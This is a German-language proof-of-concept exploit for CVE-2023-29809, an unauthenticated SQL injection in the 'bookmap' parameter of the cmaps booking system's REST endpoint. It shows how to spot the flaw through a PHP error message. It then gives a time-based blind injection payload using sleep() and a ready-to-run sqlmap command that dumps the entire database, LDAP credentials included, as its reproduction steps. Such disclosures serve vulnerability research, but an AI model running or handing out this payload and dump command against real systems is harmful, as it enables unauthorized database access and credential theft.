
Proof-of-Concept-Exploit für CVE-2023-29809: nicht authentifizierte SQL-Injection im Buchungssystem von cmaps. Demonstriert zeitbasierte Blind Injection und bietet einen sqlmap-Befehl für die Datenbankextraktion.
Beschreibung:
Die gefundene Schwachstelle ist eine SQL-Injection. Der Parameter bookmap ist anfällig. Beim Aufruf der Seite: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test erhalten wir die normale JSON-Antwort. Wenn jedoch ein einfaches Anführungszeichen an den Wert des Parameters bookmap angehängt wird, erhalten wir eine Fehlermeldung:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
Wenn nun zwei einfache Anführungszeichen angehängt werden, erhalten wir die normale Antwort ohne Fehler. Dies bestätigt die Möglichkeit einer SQL-Injection. Um die SQL-Injection tatsächlich zu beweisen, hängen wir den folgenden Payload an:
'-(select*from(select+sleep(2)+from+dual)a)--+
Die Seite wird für zwei Sekunden pausieren. Dies bestätigt die SQL-Injection.
Schritte zur Reproduktion:
Senden Sie den folgenden Payload, um die Schwachstelle zu testen: '-(select*from(select+sleep(2)+from+dual)a)--+
Wenn die Seite zwei Sekunden pausiert hat, führen Sie den folgenden sqlmap-Befehl aus, um die gesamte Datenbank einschließlich der LDAP-Anmeldeinformationen auszulesen.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
Besonderer Dank geht an iCaotix, der mir sehr geholfen hat, die Umgebung einzurichten und meinen Payload zu debuggen.

Schauen Sie sich die Antwortzeit an.
